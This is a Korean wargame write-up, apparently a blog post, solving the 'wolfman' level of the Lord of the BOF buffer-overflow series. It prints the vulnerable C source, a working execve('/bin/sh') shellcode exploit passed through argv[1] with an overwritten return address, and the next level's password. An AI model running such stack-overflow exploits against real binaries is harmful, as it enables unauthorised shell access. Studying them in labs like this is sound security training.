2011. 6. 2. 15:01

⊙ 문제의 소스를 보자)

[orc@localhost orc]$ cat wolfman.c

/*

The Lord of the BOF : The Fellowship of the BOF

- wolfman

- egghunter + buffer hunter

*/

   

#include <stdio.h>

#include <stdlib.h>

   

extern char **environ;

   

main(int argc, char *argv[])

{

char buffer[40];

int i;

   

if(argc < 2){

printf("argv error\n");

exit(0);

}

   

// egghunter

for(i=0; environ[i]; i++)

memset(environ[i], 0, strlen(environ[i]));

   

if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

   

// buffer hunter

memset(buffer, 0, 40);

}


+ [LEVEL4]와 틀려진 곳은 맨 마지막 줄에 memset(buffer, 0, 40)으로 buffer를 40Byte 초기화
하고 있습니다.
즉, 리턴 주소를 버퍼가 아닌 Argument 인자(argv[1])로만 바꿔주면 됩니다.
그래서 공격문엔 변화가 없으며 다만 LEVEL4에선 buffer를 리턴값으로 주었다면 이번 문제 에선
argv[1]이 가리키는 문자열 주소로 리턴값만 바꾸면 됩니다.


   

1) 셸코드는 어디에?

* 우리가 흔히 공격문으로 인자값을 넘겨 줄때 인자 배열 안에 들어가게 됩니다. [ 참조 ]

Environment

  

Arguments

argv (프로그램 실행 인자)

argc (인자의 개수)

RET

우리가 실행 인자로 셸코드를 올린 해당 argv[1] 가리키는 주소

SFP

쓰레기값

buffer[40]

memset(buffer, 0, 40)으로 초기화

...[중략]...

  

*그러므로 memset()으로 buffer가 초기화 되더라도 실행 인자로 넘겨준 공격문은 스택안에 남아 있게 됩니다.


  

   

* 그럼 argv[1]에 들어있는 문자열의 주소(공격문)을 찾아야 겠네요.

2) 리턴 주소 값을 찾아 보자!

※ [ LEVEL 4 ]에서 공격문을 그대로 가져다가 테스트 하였습니다.

① wolfman.c 사본을 만들어 주소값을 확인해 봅시다.

# cp wolfman.c wolfgil.c

# vi wolfgil.c

...[중략]...

// buffer hunter

memset(buffer, 0, 40);

printf(" [ %#x ]\n", argv[1]); // <-- 삽입

:wq

# gcc wolfgil.c -o wolfgil

[orc@localhost orc]$ ./wolfgil $(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*20 + "\xe0\xfa\xff\xbf"')
1픐h//shh/bin됥PS됣솻

?릱릱릱릱릱릱릱릱릱릱?

[ 0xbffffc46 ]

Segmentation faultz

* argv[1]에 들어있는 공격문 주소가 보이네요. [ 0xbffffc46 ]

   

② 리턴 주소를 찾았으니 변경 후 다시 확인.

셸코드가 잘 실행 되었네요.


   

   

3) 원본 공격 확인.

*바뀐 공격문

$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*20 + "\x46\xfc\xff\xbf"')

완료!!!


   

orc : "cantata"

Posted by devanix